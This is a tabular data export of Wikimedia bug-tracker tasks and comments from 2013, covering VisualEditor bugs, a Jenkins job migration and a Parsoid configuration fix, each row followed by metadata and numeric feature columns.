+253522,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"Actually, this bug looks to be a subset of Bug 51829 is this best merged or that bug better split?",,,1374518185,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0
+253517,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"As a workaround, it is possible to convert the header to paragraph text and then delete it. That is no better though than deleting and then converting the changed text back to a paragraph.",,,1374517963,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+52253,VisualEditor: Yet another dirty-DOM on basic templates,"Link shows a diff made post-deploy doing (what happened to be white-space only) normalisation in two templates (that weren't touched). :-(
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: https://en.wikipedia.org/w/index.php?title=Pgeezy&curid=38061582&diff=561709972&oldid=561568473",High,80.0,1372274040,1373518136.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-hjnunyjomlrvhkq4oiqo,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+253486,VisualEditor: Yet another dirty-DOM on basic templates,After today's deployment this now appears to have been fixed. Marking as such.,,,1373518136,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hjnunyjomlrvhkq4oiqo,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+52228,Jenkins: migrate all jobs from master to slaves,"I want to get rid of jobs on the master instance and have them all on slaves.  Master is currently gallium.wikimedia.org which also have a slave installed on it and named 'gallium'.
+
+This is a tracking bug.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",High,80.0,1372254540,1373287838.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-vvu5ucedidqohifits2s,task_description,resolved,True,c1,2,True,False,True,-1,,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0
+513032,Jenkins: migrate all jobs from master to slaves,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343629,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,3,True,,,111,,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+252139,Jenkins: migrate all jobs from master to slaves,Marked master has being down.  People should use the 'gallium' slave to tie jobs to that server or they could use a label.,,,1373287838,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+252135,Jenkins: migrate all jobs from master to slaves,"https://integration.wikimedia.org/ci/computer/(master)/
+
+Master (the master Jenkins node)
+Projects tied to master
+None
+
+\O/
+
+I guess we can now remove master as an executor.",,,1373031852,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+252130,Jenkins: migrate all jobs from master to slaves,Reduced number of executor on master from 4 to 2.  There are only the qunit jobs left there (bug 50231).,,,1372425380,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252124,Jenkins: migrate all jobs from master to slaves,"https://gerrit.wikimedia.org/r/71006 migrated the wikibase jobs:
+
+mwext-Wikibase-client-tests
+mwext-Wikibase-repo-tests",,,1372422296,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252119,Jenkins: migrate all jobs from master to slaves,"https://gerrit.wikimedia.org/r/#/c/71000/ migrates mediawiki regression jobs
+
+mediawiki-core-regression-REL1_19
+mediawiki-core-regression-REL1_20
+mediawiki-core-regression-REL1_21
+mediawiki-core-regression-master",,,1372415240,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252114,Jenkins: migrate all jobs from master to slaves,"https://gerrit.wikimedia.org/r/#/c/70999/ migrates some doc jobs:
+
+
+mediawiki-core-doxygen-publish
+mediawiki-core-jsduck-publish
+mwext-VisualEditor-doc-publish
+operations-puppet-doc (bug 50233)",,,1372413785,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252108,Jenkins: migrate all jobs from master to slaves,"https://gerrit.wikimedia.org/r/#/c/70917/ updated jobs:
+
+mediawiki-core-phpunit-api
+mediawiki-core-phpunit-databaseless
+mediawiki-core-phpunit-misc
+mediawiki-core-phpunit-parser",,,1372366694,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+252101,Jenkins: migrate all jobs from master to slaves,List of tied jobs is available at https://integration.wikimedia.org/ci/computer/(master)/  That list needs to shrink to 0 elements.,,,1372254654,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vvu5ucedidqohifits2s,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+52203,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","e.g. ""menuitem"" for options in our select widgets.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1372205340,1406079764.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-u2ls26f436dp4ls4xqnj,task_description,resolved,True,c1,2,True,False,False,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+250562,"VisualEditor: Add ""role"" attributes to UI elements where appropriate",Looks fine from my POV.,,,1406079764,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,True,,,55,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+250554,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","Anything left to do here, Timo/James?",,,1406066234,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,True,,,55,,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+250545,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","Change 148253 merged by jenkins-bot:
+Add role attribute to a few widgets
+
+https://gerrit.wikimedia.org/r/148253",,,1406065761,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,False,,,55,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250537,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","Change 148253 had a related patch set uploaded by Alex Monk:
+Add role attribute to a few widgets
+
+https://gerrit.wikimedia.org/r/148253",,,1405981742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,False,,,55,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250528,"VisualEditor: Add ""role"" attributes to UI elements where appropriate","Most of this has already been done in OOUI, I think.",,,1405702134,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u2ls26f436dp4ls4xqnj,task_subcomment,,True,c1,3,True,,,54,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+52186,Guided tours cannot distinguish between read and edit modes with VisualEditor,"**Author:** `swalling`
+
+**Description:**
+This tour step should only be shown in read mode.
+
+When starting the guided tour via the ""Show help"" help button with GettingStarted, guided tours thinks I am in read mode and displays broken steps, rather than skipping to the appropriate editing steps.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11708}",High,80.0,1372184520,1374192392.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-x646ub2izdkijgiiwrz2,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+249763,Guided tours cannot distinguish between read and edit modes with VisualEditor,"Change 72682 merged by jenkins-bot:
+Add tour for VisualEditor
+
+https://gerrit.wikimedia.org/r/72682",,,1374178920,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249757,Guided tours cannot distinguish between read and edit modes with VisualEditor,"Change 72677 merged by Ori.livneh:
+Add support for VisualEditor
+
+https://gerrit.wikimedia.org/r/72677",,,1374165359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249751,Guided tours cannot distinguish between read and edit modes with VisualEditor,"**swalling** wrote:
+
+(In reply to comment #5)
+> I fixed the issue where step 1 was shown when clicked ""Show help"" while in VE
+> editor, on a page with an ambox.  That's on toro for testing.
+
+Tested and working for me on toro. Once the patches are merged I think we can call this one fixed.",,,1374017584,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+249746,Guided tours cannot distinguish between read and edit modes with VisualEditor,"I fixed the issue where step 1 was shown when clicked ""Show help"" while in VE editor, on a page with an ambox.  That's on toro for testing.",,,1373361751,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+249741,Guided tours cannot distinguish between read and edit modes with VisualEditor,"This should be fixed by https://gerrit.wikimedia.org/r/#/c/72677/ and https://gerrit.wikimedia.org/r/#/c/72682/, pending review.",,,1373340182,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+249736,Guided tours cannot distinguish between read and edit modes with VisualEditor,"Change 72682 had a related patch set uploaded by Mattflaschen:
+Add tour for VisualEditor
+
+https://gerrit.wikimedia.org/r/72682",,,1373340111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249731,Guided tours cannot distinguish between read and edit modes with VisualEditor,"Change 72677 had a related patch set uploaded by Mattflaschen:
+Add support for VisualEditor.
+
+https://gerrit.wikimedia.org/r/72677",,,1373339962,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249725,Guided tours cannot distinguish between read and edit modes with VisualEditor,"**swalling** wrote:
+
+Note: this only happens if the user clicks ""Show help"" after editing in VE mode. Otherwise, the tour progresses normally. The easiest solution in the interim may be to ensure that we don't show the Getting Started toolbar in VE edit mode, like we do for wikitext editing.",,,1372184775,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-x646ub2izdkijgiiwrz2,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+52173,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**Author:** `p.selitskas`
+
+**Description:**
+Dash-to-underscore conversion is frucked up yet again?
+
+When ""Edit"" is clicked, an API request is issued with params:
+action:visualeditor
+paction:parse
+page:Новая_зямля
+oldid:1630719
+token:[screened]
+format:json
+
+Response: {""servedby"":""mw1141"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}
+
+VE works at be.wikipedia.org, but it doesn't work at be-x-old.wikipedia.org, bat-smg.wikipedia.org, and maybe other sites with dash in the site ID.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372164300,1372215518.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lfvhcf2i2gcieggk662j,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+249089,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**p.selitskas** wrote:
+
+(In reply to comment #3)
+> I have fixed this in the Parsoid config.
+
+Can you publish the link to the change in Gerrit (if it is publicly available), just for my interest?
+
+Thanks for fixing, btw.",,,1372287816,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+249086,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"(In reply to comment #2)
+> (In reply to comment #1)
+> > Roan - is this a config issue at our end or something else?
+> > 
+> > http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753
+> > and
+> > http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work
+> > fine for me, but in VE
+> > https://be-x-old.wikipedia.org/wiki/
+> > Галоўная_старонка?oldid=1535753&veaction=edit
+> > does indeed 404.
+> 
+> I think it's a config issue.
+> 
+> CommonSettings.php on line 1890 says:
+> $wgVisualEditorParsoidPrefix = $wgDBname;
+> 
+> DB names are written with underscores instead of dashes. Conversion '_'->'-'
+> should be performed here.
+> 
+Turns out we did actually have the DB names mapped correctly, but to the wrong URLs. We had stuff like:
+
+'map_bmswiki': 'http://map_bms.wikipedia.org/w/api.php',
+
+which is wrong, we need URLs with dashes.
+
+I have fixed this in the Parsoid config.",,,1372215518,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c1,2,False,,,-1,,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,1
+249083,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**p.selitskas** wrote:
+
+(In reply to comment #1)
+> Roan - is this a config issue at our end or something else?
+> 
+> http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753
+> and
+> http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work
+> fine for me, but in VE
+> https://be-x-old.wikipedia.org/wiki/
+> Галоўная_старонка?oldid=1535753&veaction=edit
+> does indeed 404.
+
+I think it's a config issue.
+
+CommonSettings.php on line 1890 says:
+$wgVisualEditorParsoidPrefix = $wgDBname;
+
+DB names are written with underscores instead of dashes. Conversion '_'->'-' should be performed here.
+
+This is a typical error in WMF configs. I used to run against it even in MediaWiki core.",,,1372179812,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c1,2,False,,,-1,,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1
+249080,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"Roan - is this a config issue at our end or something else?
+
+http://titanium.wikimedia.org/be-x-oldwiki/Галоўная_старонка?oldid=1535753 and http://parsoid.wmflabs.org/be-x-old/Галоўная_старонка?oldid=1535753 both work fine for me, but in VE https://be-x-old.wikipedia.org/wiki/Галоўная_старонка?oldid=1535753&veaction=edit does indeed 404.",,,1372172991,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lfvhcf2i2gcieggk662j,task_subcomment,,True,c1,2,True,,,-1,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0
+52170,"VisualEditor: Attempting to de-bold a selection causes text to become ""extra-bold""","1. Edit [[mw:VisualEditor:Sfioj]] in VE
+2. Make a selection such as
+
+     These [words are] very bold
+or 
+     These wor[ds are ve]ry bold
+
+3. Click the ""Bold"" button on the toolbar
+
+The selected text goes extra-bold, in Firefox 21. 
+
+I should mention that in my case, the font is Arial, which has an extra bold ""Arial-Black"" variant.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372162080,1372190547.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-j223oppi3t252tmumwbg,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+248896,"VisualEditor: Attempting to de-bold a selection causes text to become ""extra-bold""",*** Bug 52189 has been marked as a duplicate of this bug. ***,,,1385398575,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j223oppi3t252tmumwbg,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+248892,"VisualEditor: Attempting to de-bold a selection causes text to become ""extra-bold""",Patched and merged: https://gerrit.wikimedia.org/r/#/c/70434/,,,1372190547,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-j223oppi3t252tmumwbg,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
